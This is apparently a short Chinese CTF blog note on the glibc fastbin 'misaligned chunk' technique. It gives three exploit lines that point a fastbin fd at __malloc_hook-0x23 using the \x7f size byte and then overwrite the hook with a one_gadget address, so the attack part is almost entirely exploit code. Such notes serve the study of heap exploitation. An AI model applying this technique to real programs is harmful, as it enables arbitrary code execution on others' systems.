fastbin错位构造

发表于： 分类于：
字数： 30 阅读：≈ 1分钟 浏览：
  • 通过错位构造\x7f可以得到malloc_hook
edit(0x10,p64(libc.sym['__malloc_hook']-0x23))
add(0x68,b"A"*8)
add(0x68,b"\x00"*0x13 + p64(one_gadget))